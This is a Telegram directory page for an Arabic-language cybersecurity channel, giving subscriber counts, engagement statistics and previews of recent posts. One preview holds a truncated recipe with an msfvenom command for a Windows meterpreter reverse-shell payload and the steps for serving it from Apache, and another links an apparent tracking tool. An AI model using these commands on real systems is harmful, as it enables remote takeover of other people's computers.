Telegram RegisterThe public register of Telegram
Telegram profile photo for SOMBRA

Channel

SOMBRA

@sombr_aa

On this record: Growth · Engagement · What this channel posts · Reactions · Posts · Telegram's recommendations · Cite this entry

3,450subscribers

+0 since we began measuring on 20 November 2026

Risers and fallers across the register · movement among entries of 3,162–10,000.

Register entry

Telegram ID-1001710624067
TypeChannel
Username@sombr_aa
Descriptionاهلا وسهلا في قناة SOMBRA قناة مختصة بالامن السيبراني My channel on YouTube: https://youtube.com/channel/UCsel4b5bHsxjyhhpgItdpKQ للتواصل: @x7l77
CreatedBetween 1 December 2021 and 30 April 2023 — estimated from Telegram’s id allocation, not measured. How this range is calculated.
First recorded20 November 2026
Last confirmed live20 November 2026
Measurements held2
On Telegramt.me/sombr_aa

Growth

3,45020 Nov 2026, 12:47 — 3,450 subscribers20 Nov 2026, 13:22 — 3,450 subscribers20 Nov 2026, 12:4720 Nov 2026, 13:22
2 measurements taken within a single day. Dots are measurements; the straight line between them is drawn to join them, not to claim we know the path taken in between — snapshots are recorded only when a count changes, so gaps mean “no change observed”, never “interpolated”. The vertical axis spans 3,447–3,453 and does not start at zero.
Measurement log — every subscribers count we have recorded
Measured (UTC)SubscribersChange
20 Nov 2026, 13:223,450no change
20 Nov 2026, 12:473,450first reading

Engagement

19 posts held, back to 31 January 2026 — the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 1 page of Telegram’s post history, 20 posts per page.

ERR · 30 days
3.25%
avg views ÷ 3,450 subscribers
Avg views / post
112
2 posts measured
Reaction rate
—
this channel exposes no reaction counts
Posts in window
2
of 19 held

ERR is average views per post over the last 30 days divided by subscribers, the definition TGStat uses, so this figure is comparable with the one you will see elsewhere. It falls structurally as a channel grows: a high ERR on a small channel and a low one on a large channel describe reach mathematics, not quality. We publish the figure and the sample it came from and pass no verdict on it.

ER is defined industry-wide as (forwards + reactions + comments) ÷ views — note the denominator is views, not subscribers. Telegram’s public web preview carries views and reactions but not forward or comment counts, so the reaction rate above is the reactions term only and is therefore a floor: the true ER for this channel is higher by an amount we have not measured and will not estimate.

What these figures were computed from
WindowRolling 30 days · latest post in window 18 November 2026
Posts held19 (31 January 2026 – 18 November 2026)
Views total224
Reactions total—
Forwards / commentsnot exposed by the public surface — not measured, not estimated
Readings taken20 Nov 2026, 13:22 UTC

Views are a single reading per post, taken at the time above. A post published in the last day or two is still accumulating views, which pulls the 30-day average down slightly. That is a property of the standard definition rather than a fault in it, so we keep the definition rather than “correcting” the number into something nobody can reproduce.

Precision. Telegram publishes view counts on its public widget in short form — 8.12K, 3.7M — so any reading at or above 1,000 reaches us rounded to three significant figures, and only counts below 1,000 are exact. Averages and rates derived from them are shown to the same precision rather than to the unit: a figure like 3,701,250 would assert digits nobody measured.

Reaction counts are published per emoji and rounded the same way, so a total below 1,000 is exact and a larger one is a sum that may carry a rounded component from each emoji above 1,000. Because it is a sum, it does not look rounded — read a large reaction total as three significant figures per contributing emoji rather than as the figure it prints.

What this channel posts

Photos
310
Videos
579
Links
300

Lifetime counters from Telegram’s own channel header, read 20 November 2026 — not the date at the top of this page, which is when the subscriber count was last read. Below Telegram’s rounding threshold, so these counts are exact.

Reaction mix

23 reactions across 8 posts, in 5 distinct kinds. The most used accounts for 69.6% of them.

Every reaction kind recorded on the sample, most used first
ReactionCountShareShare, drawn
❤1669.6%
👍28.70%
🔥28.70%
🥰28.70%
😁14.35%

No sentiment is inferred, and none should be read in. This table is ordered by count and by nothing else. Emoji do not carry stable meaning across languages or communities — 🙏 is thanks in one channel and mourning in another — so we publish which ones were pressed and how often, and pass no judgement on what an audience meant by them.

Precision. Telegram publishes reaction counts per emoji and short-forms each one — 4.34K, 1.2M — so any single kind at or above 1,000 reaches us at three significant figures, and only counts below 1,000 are exact. The shares above are ratios of those figures and carry the same error. This is also why the total here can differ slightly from a reaction total printed elsewhere on the page: both are sums of the same rounded parts, taken over samples with different edges.

Coverage. Reactions were read on 9 of the 19 sampled posts in this sample. Summed by Telegram’s own count on each post — not by adding up the per-emoji breakdown above — those same posts carry 23 reactions in total: the kind of figure the paragraph above means by “a reaction total printed elsewhere on the page”.

Measured over the 19 most recent posts we hold, published 31 January 2026 to 18 November 2026, using the newest reading held for each. Telegram Stars are excluded: they are a payment, not a reaction, and they have their own section.

Recent posts

Telegram’s own ‘edited’ marker: 0 of 2 posts held from the last 30 days (0%) carried it when this register last read them. The marker says a post was changed after publishing, not what it said before — this register holds the earlier wording only where an edit fell between two of its own reads (see the edit ledger and how it is measured).

10 Oct 2026, 18:27 UTC757 viewsread 20 November 2026

https://youtube.com/shorts/PyRnxyq3h9w?si=-ikaXYUf-NO6et7I

6 Oct 2026, 13:48 UTC907 viewsread 20 November 2026

https://youtube.com/shorts/L2KzHh1mjNY?si=kO-05lT1lQuFEm5Y

18 Sept 2026, 14:48 UTC≈1,080 viewsread 20 November 2026

https://youtu.be/Pe7RsGCaJdE?si=QDvUdn-CUl_jAuLE

Signed 🇯​​​​​🇴​​​​​🇰​​​​​🇪​​​​​🇷​​​​​  ‌‌‌‌

27 May 2026, 02:10 UTC≈1,450 views5 reactionsread 20 November 2026
Photo

بمناسبة حلول عيد الأضحى المبارك، أتقدم إليكم بأصدق التهاني وأطيب الأماني، سائلاً المولى عز وجل أن يعيده علينا وعليكم بالخير واليمن والبركات، وأن يتقبل منا ومنكم صالح الأعمال. عيدكم مبارك وكل عام وأنتم بخير.

❤4👍1

22 May 2026, 13:17 UTC≈1,350 viewsread 20 November 2026

رابط الاداة: https://github.com/techchipnet/hound

Signed 🇯​​​​​🇴​​​​​🇰​​​​​🇪​​​​​🇷​​​​​  ‌‌‌‌

22 May 2026, 13:17 UTC≈1,160 views2 reactionsread 20 November 2026

https://youtu.be/hec2DaePIfs?si=oIw6O8wsnbYKK4Js

❤1👍1

Signed 🇯​​​​​🇴​​​​​🇰​​​​​🇪​​​​​🇷​​​​​  ‌‌‌‌

18 May 2026, 19:19 UTC≈1,110 views0 reactionsread 20 November 2026

✅ جميع الأوامر مع الشرح المبسّط: 🎯 1. إنشاء البايلود: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.241.144 LPORT=4444 -f exe -o > payload.exe > ينشئ ملف payload.exe يعمل اتصال عكسي بـ IP جهازك على البورت 4444. 2. تشغيل سيرفر الويب Apache لنشر الملف: sudo systemctl start apache2 📂 3. نسخ البايلود إلى مجلد السيرفر: sudo cp payload.exe /var/www/html/ > الآن الرابط سيكون: http://192.168.241.144/pa…

Signed 🇯​​​​​🇴​​​​​🇰​​​​​🇪​​​​​🇷​​​​​  ‌‌‌‌

18 May 2026, 19:19 UTC915 viewsread 20 November 2026

https://youtu.be/tr0CHLPt_XI?si=rwAh1viQeVFruD4o

Signed 🇯​​​​​🇴​​​​​🇰​​​​​🇪​​​​​🇷​​​​​  ‌‌‌‌

16 May 2026, 13:30 UTC≈1,000 viewsread 20 November 2026

https://youtu.be/3_0CGuLgBKs?si=dIxV4tyHMRuM56vO

Signed 🇯​​​​​🇴​​​​​🇰​​​​​🇪​​​​​🇷​​​​​  ‌‌‌‌

Showing the 12 most recent of 19 posts we hold for @sombr_aa. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked ≈ was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.

Appears in Telegram’s recommendations for other channels

The reverse of the list above, and a different kind of signal. This does not require this channel to have ever been asked about directly — each row below is a channel we DID ask Telegram about, whose Telegram-generated list happened to include this one. A channel can appear here with an empty list above it, because being named by someone else’s query is independent of having been queried itself.

ساحر الكريبتو | توصيات فيوتشر - سبوت
@Crypto_p4p · 16,435
Telegram ranks this channel #5 of 10 here — alongside 9 others — read 20 November 2026
NABILA HASSAN TRADER 👸🏻💵
@nabila_hassan15 · 13,975
Telegram ranks this channel #10 of 10 here — alongside 9 others — read 20 November 2026

This channel appears in 2 seed channels' Telegram-generated recommendation lists in total. Each is Telegram’s list for THAT channel, not this one — see how this is measured.

Cite this entry

A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 20 November 2026 — this entry's latest reading, not the date you are reading this.

“SOMBRA” (@sombr_aa), 3,450 subscribers as measured 20 November 2026. Telegram Register, tgregister.com/channel/sombr_aa.

Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.